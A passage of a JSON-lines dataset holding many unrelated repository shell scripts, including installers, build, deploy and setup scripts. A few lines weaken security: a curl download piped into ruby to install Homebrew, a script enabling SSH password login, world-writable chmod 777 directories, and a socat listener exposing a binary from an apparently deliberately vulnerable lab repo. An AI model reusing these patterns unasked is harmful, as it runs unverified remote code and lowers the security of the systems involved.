$exp/mono_ali"} {"text": "Alan-love/haxe\n#!/bin/sh\nrm -f /usr/bin/haxe\nrm -f /usr/local/bin/haxe\nrm -f /usr/bin/haxedoc\nrm -f /usr/local/bin/haxedoc\nrm -f /usr/bin/haxelib\nrm -f /usr/local/bin/haxelib\nrm -f ~/.haxelib\nrm -f $HOME/.haxelib \nln -s /usr/local/lib/haxe/haxe /usr/local/bin/haxe\ncp /usr/local/lib/haxe/haxelib /usr/local/bin/haxelib\nmkdir -p /usr/local/lib/haxe/lib\nchmod 777 /usr/local/lib/haxe/lib"} {"text": "0\n#!/bin/bash\n\n# Anchor path to great-grandparent directory based on script location\nanchor=$(dirname $(dirname $(dirname $(dirname $(realpath $0)))));\ncd $anchor;\n\npatch -l pSGNScc/makefile Install/Patches/pSGNScc/makefile.patch;\npatch -l pSGNScc/install.sh Install/Patches/pSGNScc/install.patch;\npatch -l pSGNScc/pSGNScc.cpp Install/Patches/pSGNScc/pSGNScc.patch;"} {"text": "autogen.sh\n#!/bin/sh\n# Run this to generate all the initial makefiles, etc.\n\nsrcdir=`dirname $0`\ntest -z \"$srcdir\" && srcdir=.\nREQUIRED_AUTOMAKE_VERSION=1.8\nPKG_NAME=modest\n\n(test -f $srcdir/configure.ac) || {\n echo -n \"**Error**: Directory \"\\`$srcdir\\'\" does not look like the\"\n echo \" top-level $PKG_NAME directory\"\n exit 1\n}\n\n#USE_GNOME2_MACROS=1 . gnome-autogen.sh $@\nlibtoolize --copy --force\naclocal &&\\\nautoheader &&\\\nautoconf &&\\\nautomake --add-missing --copy"} {"text": "bin/load.sh\n#!/usr/bin/env bash\n\n# available env vars\n# ANSIBLE_LIBRARY\n# ANSIBLE_ACTION_PLUGINS\n# ANSIBLE_CACHE_PLUGINS\n# ANSIBLE_CALLBACK_PLUGINS\n# ANSIBLE_CONNECTION_PLUGINS\n# ANSIBLE_LOOKUP_PLUGINS\n# ANSIBLE_INVENTORY_PLUGINS\n# ANSIBLE_VARS_PLUGINS\n# ANSIBLE_FILTER_PLUGINS\n# ANSIBLE_TEST_PLUGINS\n# ANSIBLE_STRATEGY_PLUGINS\n\nROOTDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\"/.. && pwd )\"\n\nbuild_path() {\n P=$1\n\n for i in $( find ${P} -type d ); do \n V=${V}:${i}\n done\n\n echo ${V} | cut -f 2- -d \":\"\n}\n\nexport ANSIBLE_ACTION_PLUGINS=$( build_path ${ROOTDIR}/tools/echelon )\nexport ANSIBLE_LIBRARY=$( build_path ${ROOTDIR}/modules )\nexport ANSIBLE_LOOKUP_PLUGINS=$( build_path ${ROOTDIR}/plugins/lookup_plugins )"} {"text": "#! /bin/sh\ncurl -fLo ./autoload/plug.vim https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim"} {"text": "tadija/AEDotFiles\n# https://github.com/sharkdp/bat\n# bat.sh\n\nif [ -x \"$(command -v bat)\" ]; then\n alias cat=\"bat\"\n\n if [ -x \"$(command -v fzf)\" ]; then\n alias browse=\"fzf --preview 'bat --color \\\"always\\\" {}'\"\n fi\nfi"} {"text": "jtonello/ceph-auto-aws\n#!/bin/bash\n#\n# Accept the local minion keys and run the \"health-ok.sh\" qa script\n# from the DeepSea clone\n\nsudo salt-key -Ay\ncd DeepSea/qa\nsudo suites/basic/health-ok.sh --cli"} {"text": "#!/usr/bin/env bash\n\nset -euo pipefail\n\nmkdir -p google/protobuf google/api validate protoc-gen-openapiv2/options\n\n# ------------------------------------------------------------------------------------------------------------------------\n\n# google protobuf\nPROTOBUF_VERSION=\"v3.19.3\"\nPROTOBUF_URL_PREFIX=\"https://raw.githubusercontent.com/protocolbuffers/protobuf/${PROTOBUF_VERSION}/src/google/protobuf\"\nPROTOBUF_FILES=\"any api descriptor duration empty field_mask source_context struct timestamp type wrappers\"\n\nfor f in ${PROTOBUF_FILES}; do\n wget -O \"google/protobuf/${f}.proto\" \"${PROTOBUF_URL_PREFIX}/${f}.proto\"\ndone\n\n# google api\nGOOGLE_API_VERSION=\"master\"\n\nwget -O google/api/annotations.proto \"https://raw.githubusercontent.com/googleapis/googleapis/${GOOGLE_API_VERSION}/google/api/annotations.proto\"\nwget -O google/api/field_behavior.proto \"https://raw.githubusercontent.com/googleapis/googleapis/${GOOGLE_API_VERSION}/google/api/field_behavior.proto\"\nwget -O google/api/http.proto \"https://raw.githubusercontent.com/googleapis/googleapis/${GOOGLE_API_VERSION}/google/api/http.proto\"\nwget -O google/api/httpbody.proto \"https://raw.githubusercontent.com/googleapis/googleapis/${GOOGLE_API_VERSION}/google/api/httpbody.proto\"\n\n# validate\nVALIDATE_VERSION=\"v0.6.3\"\n\nwget -O validate/validate.proto \"https://raw.githubusercontent.com/envoyproxy/protoc-gen-validate/${VALIDATE_VERSION}/validate/validate.proto\"\n\n# grpc gateway openapi\nGATEWAY_VERSION=\"v2.7.3\"\n\nwget -O protoc-gen-openapiv2/options/annotations.proto \"https://raw.githubusercontent.com/grpc-ecosystem/grpc-gateway/${GATEWAY_VERSION}/protoc-gen-openapiv2/options/annotations.proto\"\nwget -O protoc-gen-openapiv2/options/openapiv2.proto \"https://raw.githubusercontent.com/grpc-ecosystem/grpc-gateway/${GATEWAY_VERSION}/protoc-gen-openapiv2/options/openapiv2.proto\""} {"text": "#!/usr/bin/env bash\n\nset -e -o pipefail\n# shellcheck source=_config.sh\nsource \"$(dirname \"${BASH_SOURCE[0]}\")/_config.sh\"\n\ncd \"$SCRIPTS\"\n\nAGENTS_DIR=~/Library/LaunchAgents\nPLIST_NAME=com.binaryage.dirac-health-check.plist\nPLIST_SOURCE=\"plists/$PLIST_NAME\"\nPLIST_PATH=\"$AGENTS_DIR/$PLIST_NAME\"\n\ncp \"$PLIST_SOURCE\" \"$AGENTS_DIR\"\nlaunchctl unload \"$PLIST_PATH\"\nlaunchctl load -w \"$PLIST_PATH\""} {"text": "#!/bin/bash\n\nversion=\"build.12\"\nbaseuri=\"https://beta.felleskomponent.no\"\n\ncat template.yaml | docker run -i jimmycuadra/ktmpl - -p SERVICE_NAME felles-kodeverk -p BASE_URI ${baseuri}/felles/kodeverk -p VERSION $version | kubectl apply -f -\ncat template.yaml | docker run -i jimmycuadra/ktmpl - -p SERVICE_NAME utdanning-vigokodeverk -p BASE_URI ${baseuri}/utdanning/vigo/kodeverk -p VERSION $version | kubectl apply -f -\n\ncomponent=\"administrasjon\"\nfor stack in \"personal\" \"organisasjon\" \"kodeverk\" \"fullmakt\" \"arkiv\"\ndo\n cat template.yaml | docker run -i jimmycuadra/ktmpl - -p SERVICE_NAME ${component}-${stack} -p BASE_URI ${baseuri}/${component}/${stack} -p VERSION $version | kubectl apply -f -\ndone\n\ncomponent=\"utdanning\"\nfor stack in \"elev\" \"utdanningsprogram\" \"vurdering\" \"timeplan\" \"kodeverk\"\ndo\n cat template.yaml | docker run -i jimmycuadra/ktmpl - -p SERVICE_NAME ${component}-${stack} -p BASE_URI ${baseuri}/${component}/${stack} -p VERSION $version | kubectl apply -f -\ndone"} {"text": "yespasswd.sh0\n#!/bin/bash\n\necho -ne \"Edit sshd config\"\nsed -i \"/PasswordAuthentication/g\" /etc/ssh/sshd_config\ncat <> /etc/ssh/sshd_config\nPasswordAuthentication yes\nEOT\n\necho -ne \"Restart sshd\"\nsystemctl restart sshd"} {"text": "install_build_tools.sh\n#!/bin/bash\n\n#\n# Idempotence...\n#\n# This script was made to run as often as you like; it will only make changes\n# the first time it's run.\n#\n\necho \"Running install_build_tools.sh.\"\n\nPLATFORM=$(./scope_env.sh platform)\nif [ ${PLATFORM} = \"Error\" ]; then\n echo \"Exiting. install_build_tools.sh does not support this platform type.\"\n exit 1\nelse\n echo \"Determined platform type is : ${PLATFORM}.\"\nfi\n\nFAILED=0\n\n########################################\n## macOS section\n########################################\n#\n# This was originally developed and tested on MacOS with:\n# System Version: macOS 10.14.5 (18F203)\n# Homebrew 2.1.6\n# autoconf (GNU Autoconf) 2.69\n# automake (GNU automake) 1.16.1\n# glibtool (GNU libtool) 2.4.6\n# cmake version 3.14.5\n# lcov: LCOV version 1.14\n#\n\nmacOS_brew_exists() {\n if brew --version &>/dev/null; then\n echo \"homebrew is already installed; doing nothing for homebrew.\"\n else\n echo \"homebrew is not already installed.\"\n return 1\n fi\n}\n\nmacOS_brew_install() {\n echo \"Installing homebrew.\"\n # The initial \"echo\" is to pass the \"hit enter to continue\" prompt.\n echo | /usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"\n if [ $? = 0 ]; then\n echo \"Installation of homebrew successful.\"\n else\n echo \"Installation of homebrew failed.\"\n FAILED=1\n fi\n}\n\nmacOS_autoconf_exists() {\n if autoconf --version &>/dev/null; then\n echo \"autoconf is already installed; doing nothing for autoconf.\"\n else\n echo \"autoconf is not already installed.\"\n return 1\n fi\n}\n\nmacOS_autoconf_install() {\n echo \"Installing autoconf.\"\n brew install autoconf\n if [ $? = 0 ]; then\n echo \"Installation of autoconf successful.\"\n else\n echo \"Installation of autoconf failed.\"\n FAILED=1\n fi\n}\n\nmacOS_automake_exists() {\n if automake --version &>/dev/null; then\n echo \"automake is already installed; doing nothing for automake.\"\n else\n echo \"automake is not already installed.\"\n return 1\n fi\n}\n\nmacOS_automake_install() {\n echo \"Installing automake.\"\n brew install automake\n # We had a new failure with macOS 10.14 on azure on 8-dec-2020.\n # Work around it by ignoring the return code\n if automake --version &>/dev/null; then\n echo \"Installation of automake successful.\"\n else\n echo \"Installation of automake failed.\"\n FAILED=1\n fi\n}\n\nmacOS_glibtool_exists() {\n if glibtool --version &>/dev/null; then\n echo \"glibtool is already installed; doing nothing for glibtool.\"\n else\n echo \"glibtool is not already installed.\"\n return 1\n fi\n}\n\nmacOS_glibtool_install() {\n echo \"Installing glibtool.\"\n brew install libtool\n if [ $? = 0 ]; then\n echo \"Installation of glibtool successful.\"\n else\n echo \"Installation of glibtool failed.\"\n FAILED=1\n fi\n}\n\nmacOS_cmake_exists() {\n if cmake --version &>/dev/null; then\n echo \"cmake is already installed; doing nothing for cmake.\"\n else\n echo \"cmake is not already installed.\"\n return 1\n fi\n}\n\nmacOS_cmake_install() {\n echo \"Installing cmake.\"\n brew install cmake\n if [ $? = 0 ]; then\n echo \"Installation of cmake successful.\"\n else\n echo \"Installation of cmake failed.\"\n FAILED=1\n fi\n}\n\nmacOS_lcov_exists() {\n if lcov --version &>/dev/null; then\n echo \"lcov is already installed; doing nothing for lcov.\"\n else\n echo \"lcov is not already installed.\"\n return 1\n fi\n}\n\nmacOS_lcov_install() {\n echo \"Installing lcov.\"\n brew install lcov\n if [ $? = 0 ]; then\n echo \"Installation of lcov successful.\"\n else\n echo \"Installation of lcov failed.\"\n FAILED=1\n fi\n}\n\nmacOS_dump_versions() {\n # The crazy sed stuff at the end of each just provides indention.\n system_profiler SPSoftwareDataType | grep \"System Version\" | sed 's/^[ ]*/ /'\n brew --version | head -n1 | sed 's/^/ /'\n autoconf --version | head -n1 | sed 's/^/ /'\n automake --version | head -n1 | sed 's/^/ /'\n glibtool --version | head -n1 | sed 's/^/ /'\n cmake --version | head -n1 | sed 's/^/ /'\n lcov --version | head -n1 | sed 's/^/ /'\n}\n\nif [ ${PLATFORM} = \"macOS\" ]; then\n if ! macOS_brew_exists; then\n macOS_brew_install\n fi\n if ! macOS_autoconf_exists; then\n macOS_autoconf_install\n fi\n if ! macOS_automake_exists; then\n macOS_automake_install\n fi\n if ! macOS_glibtool_exists; then\n macOS_glibtool_install\n fi\n if ! macOS_cmake_exists; then\n macOS_cmake_install\n fi\n if ! macOS_lcov_exists; then\n macOS_lcov_install\n fi\n\n if (( FAILED )); then\n echo \"Installation failure detected.\"\n echo \"Pertinent version info:\"\n macOS_dump_versions\n exit 1\n fi\n exit 0\nfi\n\n########################################\n## linux yum section\n########################################\n#\n# This was originally developed and tested on CentOS with:\n# CentOS Linux release 7.6.1810 (Core) \n# yum 3.4.3\n# Sudo version 1.8.23\n# autoconf (GNU Autoconf) 2.69\n# GNU Make 3.82\n# automake (GNU automake) 1.13.4\n# libtool (GNU libtool) 2.4.2\n# cmake version 3.13.5\n# lcov: LCOV version 1.13\n# go1.15.5\n# upx 3.96\n#\n\nPKG_MGR=\"unknown\"\n\nlinux_determine_pkg_mgr() {\n if yum --version &>/dev/null; then\n PKG_MGR=\"yum\"\n elif apt-get --version &>/dev/null; then\n PKG_MGR=\"apt-get\"\n else\n return 1\n fi\n return 0\n}\n\nyum_sudo_exists() {\n if sudo --version &>/dev/null; then\n echo \"sudo is already installed; doing nothing for sudo.\"\n else\n echo \"sudo is not already installed.\"\n return 1\n fi\n}\n\nyum_sudo_install() {\n echo \"Installing sudo.\"\n yum install sudo\n if [ $? = 0 ]; then\n echo \"Installation of sudo successful.\"\n else\n echo \"Installation of sudo failed.\"\n FAILED=1\n fi\n}\n\nyum_autoconf_exists() {\n if autoconf --version &>/dev/null; then\n echo \"autoconf is already installed; doing nothing for autoconf.\"\n else\n echo \"autoconf is not already installed.\"\n return 1\n fi\n}\n\nyum_autoconf_install() {\n echo \"Installing autoconf.\"\n sudo yum -y install autoconf\n if [ $? = 0 ]; then\n echo \"Installation of autoconf successful.\"\n else\n echo \"Installation of autoconf failed.\"\n FAILED=1\n fi\n}\n\nyum_make_exists() {\n if make --version &>/dev/null; then\n echo \"make is already installed; doing nothing for make.\"\n else\n echo \"make is not already installed.\"\n return 1\n fi\n}\n\nyum_make_install() {\n echo \"Installing make.\"\n sudo yum -y install make\n if [ $? = 0 ]; then\n echo \"Installation of make successful.\"\n else\n echo \"Installation of make failed.\"\n FAILED=1\n fi\n}\n\nyum_automake_exists() {\n if automake --version &>/dev/null; then\n echo \"automake is already installed; doing nothing for automake.\"\n else\n echo \"automake is not already installed.\"\n return 1\n fi\n}\n\nyum_automake_install() {\n echo \"Installing automake.\"\n sudo yum -y install automake\n if [ $? = 0 ]; then\n echo \"Installation of automake successful.\"\n else\n echo \"Installation of automake failed.\"\n FAILED=1\n fi\n}\n\nyum_libtool_exists() {\n if libtool --version &>/dev/null; then\n echo \"libtool is already installed; doing nothing for libtool.\"\n else\n echo \"libtool is not already installed.\"\n return 1\n fi\n}\n\nyum_libtool_install() {\n echo \"Installing libtool.\"\n sudo yum -y install libtool\n if [ $? = 0 ]; then\n echo \"Installation of libtool successful.\"\n else\n echo \"Installation of libtool failed.\"\n FAILED=1\n fi\n}\n\nyum_cmake_exists() {\n if cmake --version &>/dev/null; then\n echo \"cmake is already installed; doing nothing for cmake.\"\n else\n echo \"cmake is not already installed.\"\n return 1\n fi\n}\n\nyum_cmake_install() {\n echo \"Installing cmake.\"\n sudo yum -y install epel-release\n sudo yum -y install cmake3\n if [ $? = 0 ]; then\n sudo alternatives --install /usr/local/bin/cmake cmake /usr/bin/cmake3 10 \\\n --slave /usr/local/bin/ctest ctest /usr/bin/ctest3 \\\n --slave /usr/local/bin/cpack cpack /usr/bin/cpack3 \\\n --slave /usr/local/bin/ccmake ccmake /usr/bin/ccmake3 \\\n --family cmake\n fi\n if [ $? = 0 ]; then\n echo \"Installation of cmake successful.\"\n else\n echo \"Installation of cmake failed.\"\n FAILED=1\n fi\n}\n\nyum_lcov_exists() {\n if lcov --version &>/dev/null; then\n echo \"lcov is already installed; doing nothing for lcov.\"\n else\n echo \"lcov is not already installed.\"\n return 1\n fi\n}\n\nyum_lcov_install() {\n echo \"Installing lcov.\"\n sudo yum -y install epel-release\n sudo yum -y install lcov\n if [ $? = 0 ]; then\n echo \"Installation of lcov successful.\"\n else\n echo \"Installation of lcov failed.\"\n FAILED=1\n fi\n}\n\nyum_go_exists() {\n if go version &>/dev/null; then\n echo \"go is already installed; doing nothing for go.\"\n else\n echo \"go is not already installed.\"\n return 1\n fi\n}\n\nyum_go_install() {\n echo \"Installing go.\"\n sudo yum -y install epel-release\n sudo yum -y install golang\n if [ $? = 0 ]; then\n echo \"Installation of go successful.\"\n else\n echo \"Installation of go failed.\"\n FAILED=1\n fi\n}\n\nyum_upx_exists() {\n if upx --version &>/dev/null; then\n echo \"upx is already installed; doing nothing for upx.\"\n else\n echo \"upx is not already installed.\"\n return 1\n fi\n}\n\nyum_upx_install() {\n echo \"Installing upx.\"\n sudo yum -y install epel-release\n sudo yum -y install upx\n if [ $? = 0 ]; then\n echo \"Installation of upx successful.\"\n else\n echo \"Installation of upx failed.\"\n FAILED=1\n fi\n}\n\n\n\n\nyum_dump_versions() {\n # The crazy sed stuff at the end of each just provides indention.\n if [ -f /etc/centos-release ]; then\n cat /etc/centos-release | head -n1 | sed 's/^[ ]*/ /'\n elif [ -f /etc/redhat-release ]; then\n cat /etc/redhat-release | head -n1 | sed 's/^[ ]*/ /'\n elif [ -f /etc/os-release ]; then\n grep PRETTY_NAME /etc/os-release | cut -d \\\" -f2 | sed 's/^/ /'\n fi\n yum --version | head -n1 | sed 's/^/ yum /'\n sudo --version | head -n1 | sed 's/^/ /'\n autoconf --version | head -n1 | sed 's/^/ /'\n make --version | head -n1 | sed 's/^/ /'\n automake --version | head -n1 | sed 's/^/ /'\n libtool --version | head -n1 | sed 's/^/ /'\n cmake --version | head -n1 | sed 's/^/ /'\n lcov --version | head -n1 | sed 's/^/ /'\n go version | head -n1 | sed 's/^/ /'\n upx --version | head -n1 | sed 's/^/ /'\n}\n\nyum_install() {\n echo \"Running the yum install.\"\n\n if ! yum_sudo_exists; then\n yum_sudo_install\n fi\n if ! yum_autoconf_exists; then\n yum_autoconf_install\n fi\n if ! yum_make_exists; then\n yum_make_install\n fi\n if ! yum_automake_exists; then\n yum_automake_install\n fi\n if ! yum_libtool_exists; then\n yum_libtool_install\n fi\n if ! yum_cmake_exists; then\n yum_cmake_install\n fi\n if ! yum_lcov_exists; then\n yum_lcov_install\n fi\n if ! yum_go_exists; then\n yum_go_install\n fi\n if ! yum_upx_exists; then\n yum_upx_install\n fi\n\n\n if (( FAILED )); then\n echo \"Installation failure detected.\"\n echo \"Pertinent version info:\"\n yum_dump_versions\n exit 1\n fi\n exit 0\n}\n\n########################################\n## linux apt section\n########################################\n#\n# This was originally developed and tested on ubuntu with:\n# Ubuntu 18.04.2 LTS\n# apt 1.6.11 (amd64)\n# Sudo version 1.8.21p2\n# GNU Make 4.1\n# autoconf (GNU Autoconf) 2.69\n# libtool (GNU libtool) 2.4.6\n# cmake version 3.10.2\n# lcov: LCOV version 1.13\n#\n\napt_sudo_exists() {\n if sudo --version &>/dev/null; then\n echo \"sudo is already installed; doing nothing for sudo.\"\n else\n echo \"sudo is not already installed.\"\n return 1\n fi\n}\n\napt_sudo_install() {\n echo \"Installing sudo.\"\n apt-get update && apt-get install sudo\n if [ $? = 0 ]; then\n echo \"Installation of sudo successful.\"\n else\n echo \"Installation of sudo failed.\"\n FAILED=1\n fi\n}\n\napt_make_exists() {\n if make --version &>/dev/null; then\n echo \"make is already installed; doing nothing for make.\"\n else\n echo \"make is not already installed.\"\n return 1\n fi\n}\n\napt_make_install() {\n echo \"Installing make.\"\n sudo apt-get install -y make\n if [ $? = 0 ]; then\n echo \"Installation of make successful.\"\n else\n echo \"Installation of make failed.\"\n FAILED=1\n fi\n}\n\napt_autoconf_exists() {\n if autoconf --version &>/dev/null; then\n echo \"autoconf is already installed; doing nothing for autoconf.\"\n else\n echo \"autoconf is not already installed.\"\n return 1\n fi\n}\n\napt_autoconf_install() {\n echo \"Installing autoconf.\"\n sudo apt-get install -y autoconf\n if [ $? = 0 ]; then\n echo \"Installation of autoconf successful.\"\n else\n echo \"Installation of autoconf failed.\"\n FAILED=1\n fi\n}\n\napt_libtool_exists() {\n if libtool --version &>/dev/null; then\n echo \"libtool is already installed; doing nothing for libtool.\"\n else\n echo \"libtool is not already installed.\"\n return 1\n fi\n}\n\napt_libtool_install() {\n echo \"Installing libtool.\"\n sudo apt-get install -y libtool-bin\n if [ $? = 0 ]; then\n echo \"Installation of libtool successful.\"\n else\n echo \"Installation of libtool failed.\"\n FAILED=1\n fi\n}\n\napt_cmake_exists() {\n if cmake --version &>/dev/null; then\n echo \"cmake is already installed; doing nothing for cmake.\"\n else\n echo \"cmake is not already installed.\"\n return 1\n fi\n}\n\napt_cmake_install() {\n echo \"Installing cmake.\"\n sudo -E DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends tzdata\n sudo apt-get install -y cmake\n if [ $? = 0 ]; then\n echo \"Installation of cmake successful.\"\n else\n echo \"Installation of cmake failed.\"\n FAILED=1\n fi\n}\n\napt_lcov_exists() {\n if lcov --version &>/dev/null; then\n echo \"lcov is already installed; doing nothing for lcov.\"\n else\n echo \"lcov is not already installed.\"\n return 1\n fi\n}\n\napt_lcov_install() {\n echo \"Installing lcov.\"\n sudo apt-get install -y lcov\n if [ $? = 0 ]; then\n echo \"Installation of lcov successful.\"\n else\n echo \"Installation of lcov failed.\"\n FAILED=1\n fi\n}\n\napt_go_exists() {\n if go version &>/dev/null; then\n echo \"go is already installed; doing nothing for go.\"\n else\n echo \"go is not already installed.\"\n return 1\n fi\n}\n\napt_go_install() {\n echo \"Installing go.\"\n sudo -E DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends tzdata\n sudo apt-get install -y software-properties-common \n sudo add-apt-repository -y ppa:longsleep/golang-backports\n sudo apt update\n sudo apt-get install -y golang-go\n if [ $? = 0 ]; then\n echo \"Installation of go successful.\"\n else\n echo \"Installation of go failed.\"\n FAILED=1\n fi\n}\n\napt_upx_exists() {\n if upx --version &>/dev/null; then\n echo \"upx is already installed; doing nothing for upx.\"\n else\n echo \"upx is not already installed.\"\n return 1\n fi\n}\n\napt_upx_install() {\n echo \"Installing upx.\"\n sudo apt-get install -y upx\n if [ $? = 0 ]; then\n echo \"Installation of upx successful.\"\n else\n echo \"Installation of upx failed.\"\n FAILED=1\n fi\n}\n\napt_dump_versions() {\n # The crazy sed stuff at the end of each just provides indention.\n if lsb_release -d &>/dev/null; then\n lsb_release -d | sed 's/^Description:\\s*/ /'\n elif [ -f /etc/lsb-release ]; then\n grep DISTRIB_DESCRIPTION /etc/lsb-release | cut -d \\\" -f2 | sed 's/^/ /'\n fi\n apt-get --version | head -n1 | sed 's/^/ /'\n sudo --version | head -n1 | sed 's/^/ /'\n make --version | head -n1 | sed 's/^/ /'\n autoconf --version | head -n1 | sed 's/^/ /'\n libtool --version | head -n1 | sed 's/^/ /'\n cmake --version | head -n1 | sed 's/^/ /'\n lcov --version | head -n1 | sed 's/^/ /'\n go version | head -n1 | sed 's/^/ /'\n upx --version | head -n1 | sed 's/^/ /'\n}\n\napt_install() {\n echo \"Running the apt-get install.\"\n\n if ! apt_sudo_exists; then\n apt_sudo_install\n fi\n if ! apt_make_exists; then\n apt_make_install\n fi\n if ! apt_autoconf_exists; then\n apt_autoconf_install\n fi\n if ! apt_libtool_exists; then\n apt_libtool_install\n fi\n if ! apt_cmake_exists; then\n apt_cmake_install\n fi\n if ! apt_lcov_exists; then\n apt_lcov_install\n fi\n if ! apt_go_exists; then\n apt_go_install\n fi\n if ! apt_upx_exists; then\n apt_upx_install\n fi\n\n\n if (( FAILED )); then\n echo \"Installation failure detected.\"\n\techo \"Pertinent version info:\"\n\tapt_dump_versions\n\texit 1\n fi\n exit 0\n}\n\nif [ ${PLATFORM} = \"Linux\" ]; then\n if ! linux_determine_pkg_mgr; then\n echo \"Exiting. install_build_tools.sh does not support this package manager.\"\n exit 1\n else\n echo \"Determined package manager is : ${PKG_MGR}.\"\n fi\n\n if [ ${PKG_MGR} = \"yum\" ]; then\n yum_install\n elif [ ${PKG_MGR} = \"apt-get\" ]; then\n apt_install\n fi\n exit 1\nfi"} {"text": "hub/start-custom.sh\n#!/bin/bash\n\n# User should be set to root in the docker file before calling this.\n\nset -e\nset -x\n\nuserdel instructor\n\n# Home dir has been mounted by jupyterhub as a docker volume\nshopt -s dotglob\nfor i in /home/instructor/*; do ln -sf $i /home/${NB_USER}; done\nshopt -u dotglob\n\nNB_GROUP=instructor\n\n# User home directory will already exist because DockerSpawner mounted a docker volume at /home/$NB_USER\ngroupadd -g ${NB_GID} ${NB_GROUP}\nuseradd -u ${NB_UID} ${NB_USER} --gid ${NB_GROUP}\n\ncd /home/${NB_USER}\n###################################################################################\n\n\n\nchmod 600 /tmp/students.csv\nchown ${INSTRUCTOR_UID}:${INSTRUCTOR_GID} /tmp/students.csv\nchown ${INSTRUCTOR_UID}:${INSTRUCTOR_GID} /srv/nbgrader/${COURSE_NAME}\necho ${NBGRADER_DB_URL} > /srv/nbgrader/${COURSE_NAME}/nbgrader_db.url\nunset NBGRADER_DB_URL\n\n# Make exchange directory readable and writable by everyone.\n# Take exchange directory as environment variable later.\n# This should be same volume mounted on each user's docker container.\nchmod 777 /srv/nbgrader/exchange\nchown ${INSTRUCTOR_UID}:${INSTRUCTOR_GID} /srv/nbgrader/exchange\n\nln -sf /srv/nbgrader/${COURSE_NAME} /home/$NB_USER/${NOTEBOOK_DIR}/${COURSE_NAME} \n\nchown -R ${NB_USER}:${NB_GROUP} /home/${NB_USER}\n\nexport PATH=$PATH:/home/${NB_USER}/.local/bin\n# Import students.\nsu $NB_USER -c \"env PATH=$PATH nbgrader db student import /tmp/students.csv\"\n\n################## Enable extensions for instructors #############################\njupyter nbextension enable nbgrader --user --py\njupyter serverextension enable nbgrader --user --py\n\n################################################################################\n\n\n# Start the single user notebook.\nexec /home/${NB_USER}/.local/bin/start-singleuser-custom.sh $*"} {"text": "masato1122/md2tau\n#!/bin/sh\nWORKDIR=$(cd $(dirname $0); pwd)\n\nfor ical in `seq 1 5`; do\n dir1=$WORKDIR/CAL${ical}\n cd $dir1\n sh ../mkseki1.sh ${ical}\n #qsub 1_seki.sh\ndone"} {"text": "#!/bin/sh\n\n#spack repo rm sds\n#spack mirror rm local_filesystem\nspack module tcl rm -y\nrm -f ${SPACK_ROOT}/share/spack/dotkit/linux-centos7-x86_64/*.dk\nspack uninstall --all -y\nspack clean --all\n#rm -f modules\n#rm -f ${HOME}/.spack/linux/packages.yaml\n#rm -f ${HOME}/.spack/linux/compilers.yaml\n\n#cd sds-repo\n#git checkout packages/sdskeyval/package.py\n#cd .."} {"text": "echo \"Testing Koffie (LESS)\";\n./node_modules/less/bin/lessc --verbose './test/test.less' './test/test-less.css'\n\necho \"Testing Koffie (Stylus)\";\n./node_modules/stylus/bin/stylus './test/test.styl' -o './test/test-stylus.css'\n\necho \"Testing Koffie (SCSS)\";\n./node_modules/node-sass/bin/node-sass './test/test.scss' > './test/test-scss.css'"} {"text": "grittyninja/vulnectar\n#!/bin/bash\n\nsocat TCP-LISTEN:5000,reuseaddr,fork EXEC:/home/student/gate,su=student"} {"text": "#!/bin/bash\n\nset -e\nHERE=$(cd $(dirname $0); pwd)\n\ncd $HERE\n\nbundle exec haml -Eutf-8 docsrc/calcproc.haml > htmldoc/calcproc.html"} {"text": "#!/bin/bash\n\nsudo apt-get update -y\nsudo apt-get install python3 python3-dev python3-pip python3-numpy python3-zmq python3-flask -y\nsudo pip3 install imutils\n\n# OpenCV: see https://docs.opencv.org/4.5.2/d2/de6/tutorial_py_setup_in_ubuntu.html\nsudo apt-get install cmake\nsudo apt-get install gcc g++\nsudo apt-get install git\ngit clone https://github.com/opencv/opencv.git\ncd opencv && mkdir build && cd build\ncmake -D CMAKE_BUILD_TYPE=RELEASE -D WITH_GTK=OFF -D WITH_OPENCL=OFF -D BUILD_opencv_gapi=OFF -D BUILD_opencv_python2=OFF -D BUILD_EXAMPLES=OFF -D BUILD_opencv_apps=OFF -D BUILD_DOCS=OFF -D BUILD_PERF_TESTS=OFF -D BUILD_TESTS=OFF ..\nmake\nsudo make install"} {"text": "1-10\n#!/bin/bash\n\n### Global variables\nprog=\"Current Progression = \"\nfull_install_mode=0\n#\n\n### Input Guards\n\nusage(){\n\techo \"no args mean light installation\"\n\techo \"arg --full-install mean the full installation\"\n\techo \"warning it does take 651mb to make the full install\"\n\texit\n}\nif [ -z $1 ]\nthen\n\t:\nelif [ $1 == \"--full-install\" ]\nthen\n\techo \"full install mode choosed, i warn, i don't check space left and it's 651mb\"\n\tfull_install_mode=1\nelif [ $1 == \"-help\" ] || [ $1 == \"--help\" ] || [ $1 == \"-h\" ]\nthen\n\tusage\nfi\n\n#\n\n### Dependencies Check\n\ndependencies_check(){\n\tis_missing=false\n\tdependencies=('ffmpeg' 'jp2a' 'convert' )\n\tfor dp in \"${dependencies[@]}\"\n\tdo\n\t\tfn_exists \"$dp\"\n\t\t[ $? -eq 1 ] && is_missing=true\n\tdone\n\t[ $is_missing = true ] && return 1\n\treturn 0\n}\n\nfn_exists()\n{\n\ttype $1 &> /dev/null\n\tif [ $? -eq 1 ]\n\tthen\n\t\techo \"missing $1\" >&2\n\t\treturn 1\n\tfi\n\treturn 0\n}\n#\n\n### Functions\n\ninstalling(){\n\tall_dir=$(ls -l ./assets/ | grep \"^d\" | grep -Eo \"[^ ]+$\" | tr -s '\\n' ' ')\n\tall_dir=($all_dir)\n\tnumberofdir=${#all_dir[@]}\n\tlet -i i=0;\n\techo \"Converting gif to ascii\"\n\tfor dir in \"${all_dir[@]}\"\n\tdo\n\t\tprogression\n\t\tconvert_png \"$1\" &\n\t\twait $!\n\t\tconvert_jpg \"$1\" & \n\t\twait $!\n\t\tjpg_to_ascii \"$dir\"\n\t\tcleaner \"$dir\"\n\tdone\n\techo\n\techo \"I guess it's okay from now\"\n}\nprogression(){\n\techo -n \"$prog\"\"$i\"/\"$numberofdir\"\"\"\n\ti=$[$i+1]\n\tsleep 0.5\n\techo -ne \"\\033[0K\\r\"\n}\n\n\n\n\nconvert_png(){\n\tcd ./assets/\"$dir\"/\n\t$(ffmpeg -hide_banner -loglevel panic -i \"./\"$dir\".gif\" -vsync 0 